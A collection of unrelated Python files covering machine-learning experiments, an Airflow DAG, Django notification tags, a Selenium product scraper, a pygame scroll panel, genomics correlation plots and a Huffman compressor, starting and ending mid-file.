    # print(x_train_MF)
    return x_train_MF, x_test_NF
def oneHotEnc(bank):
    for column in bank:
        if column == 'y':
            temp = bank.y.astype('category').cat.codes
            # print(type(temp))
        else:
            if bank[column].dtypes == object:
                temp = pd.get_dummies(bank[column], prefix=column)
            else:
                temp =  bank[column]
        try:
            # s.append(temp)
            s = pd.concat([s, temp], axis=1)
        except NameError:
            s = pd.DataFrame(data=temp)

    s.rename(columns={0: 'y'}, inplace=True)
    return s

def labelEncoding(bank):
    # le = preprocessing.LabelEncoder()
    for column in bank:
        if bank[column].dtypes == object:
            if column == 'month':
                temp = bank[column].astype('category').cat.reorder_categories([ 'jan','feb','mar','apr', 'may', 'jun','jul', 'aug', 'sep','oct', 'nov', 'dec']).cat.codes
            else:
                temp = bank[column].astype('category').cat.codes
        else:
            temp =  bank[column]
        try:
            # s.append(temp)
            s = pd.concat([s, temp], axis=1)
        except NameError:
            s = pd.DataFrame(data=temp)

        s.rename(columns={0: column}, inplace=True)
    # print(s)
    return s

class CustomlogisticRegression:
    def __init__(self, epoch = None):
        if epoch is None:
            self.epoch = 1e3
        else:
            self.epoch = epoch
    def fit(self,X,y, lr = 5e-2):
        loss = []
        weights = rand(X.shape[1])
        N = len(X)

        for _ in range(int(self.epoch)):
            y_hat = self.sigmod(np.dot(X,weights))
            weights += lr*np.dot(X.T, y-y_hat) / N
            loss.append(self.costFunction(X,y,weights))
        self.weights = weights
        self.loss = loss

    def sigmod(self,z):
        return 1 / (1+np.e**(-z))
    def costFunction(self,X,y,weights):
        z = np.dot(X,weights)
        # prediction = self.sigmod(z)
        # SSE = np.sum((y - np.where(prediction > 0.5, 1, 0)) ** 2)
        predict1 = y* np.log(self.sigmod(z))
        predict0 = (1-y)*np.log(1-self.sigmod(z))
        return -np.sum(predict0+predict1) / len(X)

    def predict(self,X):
        z = np.dot(X,self.weights)
        return [1 if i > 0.5 else 0 for i in self.sigmod(z)]

def imbalanced(data):
    N = data.index.size
    dataWithOne = data.loc[data["y"] == 1]
    multiInt =(N - dataWithOne.index.size) // dataWithOne.index.size
    for _ in range(multiInt):
        data = data.append(dataWithOne)
    # print(data.index)
    # print(data.loc[data["y"] == 1].index)

    labels = ['0','1']
    plotY = [data.shape[0] - np.count_nonzero(data.iloc[:,-1]), np.count_nonzero(data.iloc[:,-1])]
    plt.pie(plotY, labels = labels)
    plt.suptitle("Distribution of balanced Class")

    return data

def bestCustom(xTrain, yTrain, yTest, xTest):

    customModel = CustomlogisticRegression()
    maxScore = np.float('-inf')
    bestLR = 0
    for lr in [1e-1,1e-2,1e-3,1e-4,1e-5,1e-6]:
        customModel.fit(xTrain,yTrain,1E4, lr)
        score = precision_score(yTest, customModel.predict(xTest))
        if score > maxScore:
            bestLR = lr
            maxScore = score

    return bestLR
def multiConfusionPlot(X_train, X_test, y_train, y_test ):
    classifiers = {
        "customLogistic": CustomlogisticRegression(),
        "LogisiticRegression": LogisticRegression(max_iter=1e4),
        "KNearest": KNeighborsClassifier(),
        "Support Vector Classifier": SVC(),
        "MLPClassifier": MLPClassifier(),
    }

    f, axes = plt.subplots(1, 5, figsize=(20, 5), sharey='row')

    for i, (key, classifier) in enumerate(classifiers.items()):
        # if classifier == CustomlogisticRegression():
        #     classifier.fit(X_train,y_train)
        #     y_pred = classifier.predict(X_test)
        # else:
        #     y_pred = classifier.fit(X_train, y_train).predict(X_test)
        classifier.fit(X_train, y_train)
        y_pred = classifier.predict(X_test)
        cf_matrix = metrics.confusion_matrix(y_test, y_pred)
        disp =  metrics.ConfusionMatrixDisplay(cf_matrix)
        disp.plot(ax=axes[i], xticks_rotation=45)

        fpr, tpr, thresholds = metrics.roc_curve(y_test, y_pred)
        aucScore = metrics.auc(fpr, tpr)

        disp.ax_.set_title(key+":"+"{:.2e}".format(aucScore))
        disp.im_.colorbar.remove()
        disp.ax_.set_xlabel('')
        if i != 0:
            disp.ax_.set_ylabel('')

    f.text(0.4, 0.1, 'Predicted label', ha='left')
    plt.subplots_adjust(wspace=0.40, hspace=0.1)
    "imBalancedOneHotMinMax"
    "BalancedOneHotMinMax"
    "BalancedCategoricalMinMax"
    f.suptitle("BalancedLabelMinMax")
    f.colorbar(disp.im_, ax=axes)
    plt.show()

def heatmap(data):
    corr = data.corr()
    sns.heatmap(corr,annot = True)
    plt.show()

def main():
    # print("original data")
    bank = pd.read_csv("bank.csv", delimiter=';')
    # print(bank.head())
    # print("after oneHotEncoding")
    # df = oneHotEnc(bank)
    df = labelEncoding(bank)
    # print(df.head())
    # print(df.columns)
    # print(dfOnehot.head())
    # print(dfOnehot.columns)
    # heatmap(df)
    df = imbalanced(df)
    # print(type(df))
    # print(df.head())

    train_MF, test_NF = split_into_train_and_test(df, frac_test=0.3, random_state=np.random.RandomState(0))
    xTest = test_NF[:, :-1]
    yTest = test_NF[:, -1]

    # print(np.count_nonzero(yTest))
    xTrain = train_MF[:, :-1]
    yTrain = train_MF[:, -1]

    xTrain = (xTrain - np.min(xTrain, axis=0)) / (np.max(xTrain, axis=0) - np.min(xTrain, axis=0))
    xTest = (xTest - np.min(xTest, axis=0)) / (np.max(xTest, axis=0) - np.min(xTest, axis=0))
    multiConfusionPlot(xTrain,xTest,yTrain,yTest)

if __name__ == "__main__":
    main()


from airflow import DAG
from datetime import datetime, timedelta
from airflow.operators.python import PythonOperator

default_args = {
    'owner': 'airflow',
    'start_date': datetime(2023, 7, 16),
    'retries': 1,
}

def print_hello():
    return "Hello World from Airflow!"

dag = DAG(
    dag_id="hello_airflow",
    description="Hello World Program in Airflow",
    schedule_interval=timedelta(minutes=10),
    start_date=datetime(2023, 7, 16),
    default_args= default_args
)

hello_operator = PythonOperator(task_id='hello_task', python_callable=print_hello, dag=dag)
hello_operator


import numpy as np
import pickle
import os
import random
from compute_pairwise_dataset import compute_pairwise_dataset
import torch
from utils import get_torch_device

def save_dataset(qids, X, y, folder):
    """
    Save the dataset in the provided folder.
    """

    if not os.path.exists(folder):
        os.mkdir(folder)

    pickle.dump(qids, open(f'{folder}/qids.pickle', 'wb'))
    pickle.dump(y, open(f'{folder}/y.pickle', 'wb'))
    pickle.dump(X, open(f'{folder}/X.pickle', 'wb'))

def process_line(line: str) -> np.ndarray:

    line_without_comment = line.split('#')[0]
    line_without_comment = line_without_comment.strip()
    features = line_without_comment.split(sep=' ')
    score = float(features[0])
    qid = int(features[1].split(':')[1].strip())
    processed_features = list(map(lambda x: float(x.split(':')[1].strip()), features[2:]))

    return qid, score, np.array(processed_features)

def process_dataset(dataset: str):
    qids = []
    scores = []
    features = []

    lines = dataset.splitlines()

    for line in lines:
        qid, score, feature_vec = process_line(line)

        qids.append(qid)
        scores.append(score)
        features.append(feature_vec)

    # print(scores)
    print('Dataset loaded and processed')
    return np.array(qids), np.array(scores), np.stack(features)

def get_dataset(path: str):
    with open(path, 'r') as file:
        return process_dataset(file.read())

def group_data_by_query_id(qids, scores, features):
    data_by_query = {}

    for i, qid in enumerate(qids):
        if qid not in data_by_query.keys():
            data_by_query[qid] = list()

        data_by_query[qid].append((scores[i], features[i]))

    return data_by_query

def compute_pairwise_dataset_for_query(qid, data_by_query, score_equal_drop_prob=0.85):
    score_features_list = data_by_query[qid]

    pairwise_features = []
    target_probabilities = []

    for i in range(len(score_features_list)):
        for j in range(len(score_features_list)):

            if i == j:
                continue

            score_i, features_i = score_features_list[i][0], score_features_list[i][1]
            score_j, features_j = score_features_list[j][0], score_features_list[j][1]

            # if score_i == score_j:
            #     rnd = random.random()

            #     if rnd < score_equal_drop_prob:
            #         continue

            combined_feature = np.concatenate([features_i, features_j])
            target_probability = 1.0 if score_i > score_j else (0.5 if score_i == score_j else 0.0)

            pairwise_features.append(combined_feature)
            target_probabilities.append(target_probability)

    return pairwise_features, target_probabilities

def get_pairwise_dataset(path: str):
    qids, scores, features = get_dataset(path)

    # group dataset by query id
    data_by_query = group_data_by_query_id(qids, scores, features)

    unique_qids = list(set(list(qids)))

    pairwise_qids = []
    pairwise_target_probabilities = []
    pairwise_features = []

    for i, qid in enumerate(unique_qids):
        print(f'{i} / {len(unique_qids)}')

        f, p = compute_pairwise_dataset_for_query(qid, data_by_query)

        pairwise_qids += [qid] * len(p)
        pairwise_target_probabilities += p
        pairwise_features += f

    return np.array(pairwise_qids), np.array(pairwise_target_probabilities), np.stack(pairwise_features)

def get_pairwise_dataset_fast(path: str):
    qids, scores, features = get_dataset(path)

    scores = torch.from_numpy(scores).type(torch.FloatTensor).to(get_torch_device())
    features = torch.from_numpy(features).type(torch.FloatTensor).to(get_torch_device())

    # group dataset by query id
    unique_qids = list(set(list(qids)))
    t_qids = torch.from_numpy(qids).type(torch.FloatTensor).to(get_torch_device())

    pairwise_qids = []
    pairwise_target_probabilities = []
    pairwise_features = []

    for i, qid in enumerate(unique_qids):
        print(f'{i} / {len(unique_qids)}')
        indices = torch.nonzero(t_qids == qid).T[0]
        X = features[indices]
        y = scores[indices]
        X_pairwise, y_pairwise = compute_pairwise_dataset(X, y)
        qid_pairwise = qid * torch.ones_like(y_pairwise)
        qid_pairwise = qid_pairwise.type(torch.IntTensor)

        pairwise_qids.append(qid_pairwise)
        pairwise_target_probabilities.append(y_pairwise)
        pairwise_features.append(X_pairwise)

    return torch.concat(pairwise_qids), torch.concat(pairwise_target_probabilities), torch.concat(pairwise_features, dim=0)

def load_dataset(folder):
    """
    Load the the pairwise training dataset used in ranknet training.
    """
    qids = pickle.load(open(f'{folder}/qids.pickle', 'rb'))
    y = pickle.load(open(f'{folder}/y.pickle', 'rb'))
    X = pickle.load(open(f'{folder}/X.pickle', 'rb'))

    return qids, y, X


from django import template
from django.contrib.contenttypes.models import ContentType

from notification_channels.models import Notification

register = template.Library()

""" Notification tags """

@register.simple_tag(name='get_all_notifs')
def get_all_notifs(user):
    return user.notifications.all().order_by("-timestamp")

@register.simple_tag(name='get_notif_count')
def get_notif_count(user):
    return user.notifications.all().count()

@register.simple_tag(name='get_count_type_unseen')
def get_count_type_unseen(notif_type, user):
    return user.notifications.filter(notif_type=notif_type, seen=False).count()

@register.simple_tag(name='get_unseen_notif_count')
def get_unseen_notif_count(user):
    return user.notifications.filter(seen=False).count()

@register.simple_tag(name='get_related_notifs')
def get_related_notifs(obj):
    obj_ctype = ContentType.objects.get_for_model(obj)
    return Notification.objects.filter(target_ctype=obj_ctype,
                                       target_id=obj.id).order_by("-timestamp")

@register.simple_tag(name='get_action_notifs')
def get_action_notifs(obj):
    obj_ctype = ContentType.objects.get_for_model(obj)
    return Notification.objects.filter(action_obj_ctype=obj_ctype,
                                       action_obj_id=obj.id).order_by("-timestamp")

@register.simple_tag(name='get_user_action_notifs')
def get_user_action_notifs(user, obj):
    obj_ctype = ContentType.objects.get_for_model(obj)
    return Notification.objects.filter(recipient=user, action_obj_ctype=obj_ctype,
                                       action_obj_id=obj.id).order_by("-timestamp")

@register.simple_tag(name='get_user_related_notifs')
def get_user_related_notifs(user, obj):
    obj_ctype = ContentType.objects.get_for_model(obj)
    return Notification.objects.filter(recipient=user, target_ctype=obj_ctype,
                                       target_id=obj.id).order_by("-timestamp")

def unread_notifs(user):
    unread = user.notifications.filter(read=False).order_by("-timestamp")
    return {
            "notifications": unread,
        }

register.inclusion_tag("notification_channels/notify.html")(unread_notifs)

def unseen_notifs(user):
    unseen = user.notifications.filter(seen=False).order_by("-timestamp")
    return {
            "notifications": unseen,
        }

register.inclusion_tag("notification_channels/notify.html")(unseen_notifs)

def all_notifs(user):
    notifs = user.notifications.all().order_by("-timestamp")
    return {
            "notifications": notifs,
        }

register.inclusion_tag("notification_channels/notify.html")(all_notifs)

def type_notifs(typ, user):
    notifs = user.notifications.filter(notif_type=typ).order_by("-timestamp")
    return {
            "notifications": notifs,
        }

register.inclusion_tag("notification_channels/notify.html")(type_notifs)

def get_notification(notification):
    return {
            "notification": notification,
        }

register.inclusion_tag("notification_channels/notification.html")(get_notification)


from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.chrome.options import Options
import time

s = Service('./chromedriver')

chromeOptions = Options()
chromeOptions.add_argument('start-maximized')

driver = webdriver.Chrome(service=s, options=chromeOptions)
driver.implicitly_wait(10)
driver.get('https://aliexpress.ru/')

for i in range(5):
    goods = driver.find_elements(By.XPATH, "//div[@data-product-id]")
    actions = ActionChains(driver)
    actions.move_to_element(goods[-1])
    actions.perform()

i = 0
while i < 2:
    wait = WebDriverWait(driver, 10)
    next_button = wait.until(EC.element_to_be_clickable((By.TAG_NAME, "button")))
    next_button.click()
    i += 1
    # next_button = driver.find_element(By.TAG_NAME, "button")
    # next_button.click()

    # time.sleep(1)

goods = driver.find_elements(By.XPATH, "//div[@data-product-id]")

for good in goods:
    name = good.find_element(By.XPATH, ".//div[@class='product-snippet_ProductSnippet__name__lido9p']").text
    price = good.find_element(By.XPATH, ".//div[@class='snow-price_SnowPrice__mainM__18x8np']").text
    print(name, price)


import pygame

SCROLLBAR_THICKNESS = 20
BUTTON_SCROLL_WHEEL_UP = 4
BUTTON_SCROLL_WHEEL_DOWN = 5
SCROLL_SPEED = 20

VSPACE = 20

class ScrolledPanel(pygame.Surface):
  def __init__(self, display, x, y, width, height, vspace=VSPACE, background_color=(255, 255, 255)):
    pygame.Surface.__init__(self, (width, height))

    self.focus = False
    self.label = ''

    self.display = display
    self.x = x
    self.y = y
    self.width = width
    self.height = height
    self.vspace = vspace
    self.background_color = background_color

    self.available_width = self.width - SCROLLBAR_THICKNESS
    self.virtual_height = 0
    self.content_surface = pygame.Surface((self.available_width, self.virtual_height))

    self.surfaces = []

    self.rect = self.get_rect()
    self.ratio = 1.0
    self.track = pygame.Rect(self.rect.right - SCROLLBAR_THICKNESS,
                             self.rect.top, SCROLLBAR_THICKNESS,
                             self.rect.height)
    self.knob = pygame.Rect(self.track)
    self.knob.height = self.track.height * self.ratio
    self.scrolling = False
    self.mouse_in_me = False
    self.cursor = -1

  def buildScrollbar(self):
    self.rect = self.get_rect()
    if self.rect.height < self.content_surface.get_height():
      self.ratio = (1.0 * self.rect.height) / self.content_surface.get_height()
    self.track = pygame.Rect(self.rect.right - SCROLLBAR_THICKNESS,
                             self.rect.top, SCROLLBAR_THICKNESS,
                             self.rect.height)
    self.knob = pygame.Rect(self.track)
    self.knob.height = self.track.height * self.ratio

  def getAvailableWidth(self):
    return self.available_width

  def getVirtualHeight(self):
    height = 0
    last = len(self.surfaces) - 1
    for i, surface in enumerate(self.surfaces):
      height += surface.get_height()
      if i is not last:
        height += self.vspace

    return height

  def addSurface(self, surface):

    self.surfaces.append(surface)
    self.virtual_height = self.getVirtualHeight()
    self.content_surface = pygame.Surface((self.available_width, self.virtual_height))
    if self.cursor == -1:
      self.cursor = 0

    self.buildScrollbar()

  def clearSurfaces(self):
    self.surfaces = []
    self.cursor = -1
    self.ratio = 1.0

  def getSurface(self, surface_id):
    for surface in self.surfaces:
      if surface.id == surface_id:
        return surface

  def getSurfaces(self):
    return self.surfaces

  def getClickedSurface(self):
    for surf in self.surfaces:
      if surf.getClicked():
        return surf
    return None

  def setFocus(self, value):
    self.focus = value

  def getFocus(self):
    return self.focus

  def setLabel(self, label):
    self.label = label

  def getLabel(self):
    label = self.label
    if label != '':
      label += ': '

    if self.cursor == -1:
      label += self.display.translator.translate('empty')
    else:
      try:
        label += self.surfaces[self.cursor].getLabel()
      except AttributeError:
        label += 'unknown'
    return label

  def getVSpace(self):
    return self.vspace

  def getPos(self):
    return self.x, self.y

  def handleEvent(self, event):
    if self.mouse_in_me:
      for surface in self.surfaces:
        surface.handleEvent(event)

    if event.type == pygame.MOUSEMOTION and self.scrolling:
      if event.rel[1] != 0:
        move = max(event.rel[1], self.track.top - self.knob.top)
        move = min(move, self.track.bottom - self.knob.bottom)

        if move != 0:
          self.knob.move_ip(0, move)
          new_y = self.knob.top / self.ratio
          for surface in self.surfaces:
            surface.setNewYPos(surface.getYPos() - new_y)

    elif event.type == pygame.MOUSEBUTTONDOWN and self.knob.collidepoint(
                    event.pos[0] - self.x, event.pos[1] - self.y):
      self.scrolling = True

    elif event.type == pygame.MOUSEBUTTONUP:
      self.scrolling = False

    if event.type == pygame.MOUSEBUTTONDOWN and not self.knob.collidepoint(
                    event.pos[0] - self.x, event.pos[1] - self.y):
      self.focus = False

    if event.type == pygame.MOUSEMOTION and self.rect.collidepoint(
                    event.pos[0] - self.x, event.pos[1] - self.y):
      self.mouse_in_me = True
    elif event.type == pygame.MOUSEMOTION and not self.rect.collidepoint(
                    event.pos[0] - self.x, event.pos[1] - self.y):
      self.mouse_in_me = False

    if self.mouse_in_me and event.type == pygame.MOUSEBUTTONDOWN:
      move = 0
      if event.button == BUTTON_SCROLL_WHEEL_UP:
        move = max(-1 * SCROLL_SPEED * self.ratio,
                   self.track.top - self.knob.top)
      elif event.button == BUTTON_SCROLL_WHEEL_DOWN:
        move = max(SCROLL_SPEED * self.ratio, self.track.top - self.knob.top)
      move = min(move, self.track.bottom - self.knob.bottom)

      if move != 0:
        self.knob.move_ip(0, move)
        new_y = self.knob.top / self.ratio
        for surface in self.surfaces:
          surface.setNewYPos(surface.getYPos() - new_y)

    if self.focus and self.cursor >= 0 and event.type == pygame.KEYDOWN:
      old_cursor = self.cursor
      speak = False
      if event.key == pygame.K_DOWN:
        self.cursor = min(self.cursor + 1, len(self.surfaces)-1)
        speak = True
      elif event.key == pygame.K_UP:
        self.cursor = max(self.cursor - 1, 0)
        speak = True

      if old_cursor != self.cursor:
        self.surfaces[old_cursor].setClicked(False)
        self.surfaces[self.cursor].setClicked(True)
        try:
          self.surfaces[old_cursor].getDeselectCallback()(self.surfaces[old_cursor])
          self.surfaces[self.cursor].getSelectCallback()(self.surfaces[self.cursor])
        except (AttributeError, TypeError):
          pass

      if speak:
        try:
          self.display.view.speak(self.surfaces[self.cursor].getLabel())
        except AttributeError:
          self.display.view.speak('unknown')

  def update(self):
    pass

  def render(self):
    self.fill(self.background_color)
    self.content_surface.fill(self.background_color)

    surface_pos_y = 0
    for surface in self.surfaces:
      surface.render()
      self.content_surface.blit(surface, (0, surface_pos_y))
      surface_pos_y += surface.get_height() + self.vspace

    self.blit(self.content_surface, (0, (self.knob.top / self.ratio) * -1))
    if self.ratio != 1.0:
      pygame.draw.rect(self, (192, 192, 192), self.track, 0)
      pygame.draw.rect(self, (0, 0, 0), self.knob.inflate(-4, -4), 3)


import pandas as pd
import matplotlib.pyplot as plt
import seaborn as sns

input_file_aclevel = '/exports/humgen/idenhond/data/basenji_preprocess/human_atac_targets_Ac-level_cluster.csv'
df_aclevel = pd.read_csv(input_file_aclevel, sep = '\t').rename(columns = {'Unnamed: 0' : 'Index per level'})
df_aclevel_test = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_test_humanatac_aclevel.csv',index_col = 0).rename(columns = {'0' : 'Test correlation'})
df_aclevel_valid = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_valid_humanatac_aclevel.csv',index_col = 0).rename(columns = {'0' : 'Valid correlation'})
df_aclevel_train = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_train_humanatac_aclevel.csv',index_col = 0).rename(columns = {'0' : 'Train correlation'})
df_aclevel['Test correlation'] = df_aclevel_test['Test correlation']
df_aclevel['Valid correlation'] = df_aclevel_valid['Valid correlation']
df_aclevel['Train correlation'] = df_aclevel_train['Train correlation']

input_file_subclass = '/exports/humgen/idenhond/data/basenji_preprocess/human_atac_targets_Subclass.csv'
df_subclass = pd.read_csv(input_file_subclass, sep = '\t').rename(columns = {'Unnamed: 0' : 'Index per level'})
df_subclass_test = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_test_humanatac_subclass.csv',index_col = 0).rename(columns = {'0' : 'Test correlation'})
df_subclass_valid = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_valid_humanatac_subclass.csv',index_col = 0).rename(columns = {'0' : 'Valid correlation'})
df_subclass_train = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_train_humanatac_subclass.csv',index_col = 0).rename(columns = {'0' : 'Train correlation'})
df_subclass['Test correlation'] = df_subclass_test['Test correlation']
df_subclass['Valid correlation'] = df_subclass_valid['Valid correlation']
df_subclass['Train correlation'] = df_subclass_train['Train correlation']

input_file_class = '/exports/humgen/idenhond/data/basenji_preprocess/human_atac_targets_Class.csv'
df_class = pd.read_csv(input_file_class, sep = '\t').rename(columns = {'Unnamed: 0' : 'Index per level'})
df_class_test = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_test_humanatac_class.csv',index_col = 0).rename(columns = {'0' : 'Test correlation'})
df_class_valid = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_valid_humanatac_class.csv',index_col = 0).rename(columns = {'0' : 'Valid correlation'})
df_class_train = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_train_humanatac_class.csv',index_col = 0).rename(columns = {'0' : 'Train correlation'})
df_class['Test correlation'] = df_class_test['Test correlation']
df_class['Valid correlation'] = df_class_valid['Valid correlation']
df_class['Train correlation'] = df_class_train['Train correlation']

#concat all dataframes
print(f'Number of tracks ac level: {df_aclevel.shape[0]}')
print(f'Number of tracks subclass: {df_subclass.shape[0]}')
print(f'Number of tracks class: {df_class.shape[0]}')
df = pd.concat([df_class, df_subclass, df_aclevel], ignore_index=True)

# test and validation and train correlation of model trained on 66 human atac seq tracks
df_correlation_test = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_test_humanatac.csv').tail(-1).rename(columns = {'Unnamed: 0' : 'Index old', '0' : 'Test correlation All tracks'})
df_correlation_valid = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_valid_humanatac.csv').tail(-1).rename(columns = {'Unnamed: 0' : 'Index old', '0' : 'Validation correlation All tracks'})
df_correlation_train = pd.read_csv('/exports/humgen/idenhond/data/evaluate_correlation/correlation_per_track_train_humanatac.csv').tail(-1).rename(columns = {'Unnamed: 0' : 'Index old', '0' : 'Train correlation All tracks'})

df = df.merge(df_correlation_test, left_on='Index old', right_on = 'Index old')
df = df.merge(df_correlation_valid, left_on='Index old', right_on = 'Index old')
df = df.merge(df_correlation_train, left_on='Index old', right_on = 'Index old')
print(df.columns)
print(df[['Test correlation', 'level']])

print(f'mean correlation score Test: {df["Test correlation All tracks"].mean(axis=0):.4f}')
print(f'mean correlation score Test per class: {df["Test correlation"].mean(axis=0):.4f}')
print(f'mean correlation score Test class: {df[df["level"] == "Class"]["Test correlation All tracks"].mean(axis=0):.4f}')
print(f'mean correlation score Test subclass: {df[df["level"] == "Subclass"]["Test correlation All tracks"].mean(axis=0):.4f}')
print(f'mean correlation score Test ac level: {df[df["level"] == "Ac-level cluster"]["Test correlation All tracks"].mean(axis=0):.4f}')
print(f'mean correlation score Validation: {df["Validation correlation All tracks"].mean(axis=0):.4f}')
print(f'mean correlation score Train: {df["Train correlation All tracks"].mean(axis=0):.4f}')

exit()
# plot correlation of old model (66 tracks) vs new models (trained per level)
# plt.figure()
# plt.axline((0, 0), (1, 1), linewidth=0.5, color='k', linestyle = 'dashed')
# sns.scatterplot(data = df, x = 'Test correlation All tracks', y = 'Test correlation', hue = 'level')
# plt.xlabel('Model trained on all pseudo bulk cell type profiles')
# plt.ylabel('Models trained on pseudo bulk cell type profiles ')
# plt.title('Test set')
# plt.legend(title = 'Model level')
# plt.savefig('/exports/humgen/idenhond/projects/enformer/correlation/plots_paper/Plots_paper/Fig3_ATAC/atac_perlevel_scatterplot_test.png', bbox_inches='tight', dpi = 300)
# plt.close()

# plt.figure()
# plt.axline((0, 0), (1, 1), linewidth=0.5, color='k', linestyle = 'dashed')
# sns.scatterplot(data = df, x = 'Validation correlation All tracks', y = 'Valid correlation', hue = 'level')
# plt.xlabel('Model trained on all pseudo bulk cell type profiles')
# plt.ylabel('Models trained on one level of pseudo bulk cell type profiles ')
# plt.title('Validation set')
# plt.legend(title = 'Model level')
# plt.savefig('/exports/humgen/idenhond/projects/enformer/correlation/plots_paper/Plots_paper/Fig3_ATAC/atac_perlevel_scatterplot_valid.png', bbox_inches='tight', dpi = 300)
# plt.close()

plt.figure()
plt.axline((0, 0), (1, 1), linewidth=0.5, color='k', linestyle = 'dashed')
sns.scatterplot(data = df, x = 'Validation correlation All tracks', y = 'Valid correlation', hue = 'level')
plt.xlabel('Model trained on all pseudo bulk cell type profiles')
plt.ylabel('Models trained on pseudo bulk cell type profiles ')
plt.title('Train set')
plt.legend(title = 'Model level')
plt.savefig('/exports/humgen/idenhond/projects/enformer/correlation/plots_paper/Plots_paper/Fig3_ATAC/atac_perlevel_scatterplot_train.png', bbox_inches='tight', dpi = 300)
plt.close()

fig, (ax1, ax2, ax3) = plt.subplots(1, ncols = 3, sharex=True, sharey=True, constrained_layout=True, figsize=(10, 4.8))
sns.despine(top=True, right=True, left=False, bottom=False)
ax1.set_aspect('equal', adjustable='box')
ax2.set_aspect('equal', adjustable='box')
ax3.set_aspect('equal', adjustable='box')

ax1.axline((0, 0), (1, 1), linewidth=0.5, color='k', linestyle = 'dashed')
ax2.axline((0, 0), (1, 1), linewidth=0.5, color='k', linestyle = 'dashed')
ax3.axline((0, 0), (1, 1), linewidth=0.5, color='k', linestyle = 'dashed')

sns.scatterplot(data = df, x = 'Test correlation All tracks', y = 'Test correlation', hue = 'level', ax = ax1)
sns.scatterplot(data = df, x = 'Validation correlation All tracks', y = 'Valid correlation', hue = 'level', ax = ax2)
sns.scatterplot(data = df, x = 'Train correlation All tracks', y = 'Train correlation', hue = 'level', ax = ax3)

ax1.set_xlabel(None)
ax1.set_ylabel(None)
ax2.set_xlabel(None)
ax2.set_ylabel(None)
ax3.set_xlabel(None)
ax3.set_ylabel(None)

ax1.get_legend().remove()
ax2.get_legend().remove()

ax1.title.set_text('Test set')
ax2.title.set_text('Validation set')
ax3.title.set_text('Train set')

ax1.text(0.9, 0.03, '0.531', fontsize = 8, ha='center', va='center', transform=ax1.transAxes)
ax2.text(0.9, 0.03, '0.493', fontsize = 8, ha='center', va='center', transform=ax2.transAxes)
ax3.text(0.9, 0.03, '0.551', fontsize = 8, ha='center', va='center', transform=ax3.transAxes)

ax3.legend(loc = 'upper left', bbox_to_anchor=(1.1, 1.05))
ax3.get_legend().set_title('Level')

# fig.supxlabel('Model trained on all pseudo bulk cell type profiles')
plt.figtext(.5, .17, 'Model trained on all pseudo bulk cell type profiles', fontsize=9, ha='center')
fig.supylabel(f'   Models trained on one level \nof pseudo bulk cell type profiles', fontsize = 9)
plt.savefig('/exports/humgen/idenhond/projects/enformer/correlation/plots_paper/Plots_paper/Fig3_ATAC/atac_perlevel_scatterplot.png', bbox_inches='tight', dpi = 300)


from Node import *
from bitarray import bitarray
import os

def alphabet_frequency(nom_fichier) -> dict:
    """Renvoies un dictionnaire comportant les caractères du texte dans l'ordre de fréquence croissante puis si deux caractères ont le même nombre d'apparition, par leur ordre dans l'alphabet ASCII

    Args:
        nom_fichier (string): fichier qui contient le texte

    Returns:
        dict: {"caractère":fréquence,....}
    """
    with open(nom_fichier, 'r') as f:
        reader = f.read()
    alphabet = dict()
    for caractere in reader:
        try:
            alphabet[caractere] += 1
        except:
            alphabet[caractere] = 1
    alphabet_tri = dict(sorted(alphabet.items(), key=lambda x: x[0]))
    alphabet_tri = dict(sorted(alphabet_tri.items(), key=lambda x: x[1]))
    return alphabet_tri

def list_to_string(liste):
    """Transforme une liste en une chaine de caractères

    Args:
        liste (list): la liste à transformer

    Returns:
        string: les caractères de la liste sous forme de chaîne de caractère
    """
    result = ''
    for chiffre in liste:
        result += f"{chiffre}"
    return result

def text_to_bitarray(nom_fichier, binary_dict):
    """transforme un text en une suite de bits

    Args:
        nom_fichier (string): le nom du fichier
        binary_dict (dict): le dictionnaire qui contient la correspondance entre le caractère brut et le caractère en binaire

    Returns:
        bitarray: une suite de bits qui représente le texte
    """
    with open(nom_fichier, 'r') as f:
        reader = f.read()
    string_list = []
    for char in reader:
        string_list += [binary_dict[char]]
    bit_list = []
    for str in string_list:
        for bit in str:
            bit_list += [int(bit)]
    bits = bitarray(bit_list)
    return bits

def compare_size(fichierbase, fichiercompresse):
    """calcule le taux de compression

    Args:
        fichierbase (string): le fichier de base
        fichiercompresse (string): le fichier compressé
    """
    taillebase = os.path.getsize(fichierbase)
    taillecompresse = os.path.getsize(fichiercompresse)
    taux_compression = 1-taillecompresse/taillebase
    print(f'le taux de compression est de {taux_compression}')

def lengthonbit(fichierbase, fichiercompresse):
    """calcule le nombre de bit par caractère

    Args:
        fichierbase (string): le fichier de base
        fichiercompresse (string): le fichier compressé
    """
    with open(fichierbase, 'r') as f:
        reader = f.read()
    length = len(reader)
    taillecompresse = os.path.getsize(fichiercompresse)
    # pour passer de octet/caractère à bit/caractère, il faut diviser par 8 le résultat
    bit_par_caractère = taillecompresse/length/8
    print(
        f'le nombre moyen de bit de stockage par caractère est : {bit_par_caractère} bits')

if __name__ == '__main__':

    # 1. création du dictionnaires avec les caractères et leurs fréquences

    # nom_fichier = 'extraitalice.txt'
    nom_fichier = input('quel fichier voulez vous compresser ?\n')
    alphabet = alphabet_frequency(nom_fichier)
    liste_caracteres = alphabet.keys()

    # 2. création de l'arbre

    # je créer les feuilles de mon arbre
    liste_feuilles = []
    for key in liste_caracteres:
        liste_feuilles += [Node(alphabet[key], key)]

    # je créer l'arbre de Huffman
    arbre = creationarbre(liste_feuilles)[0]

    # 3. Codage du texte

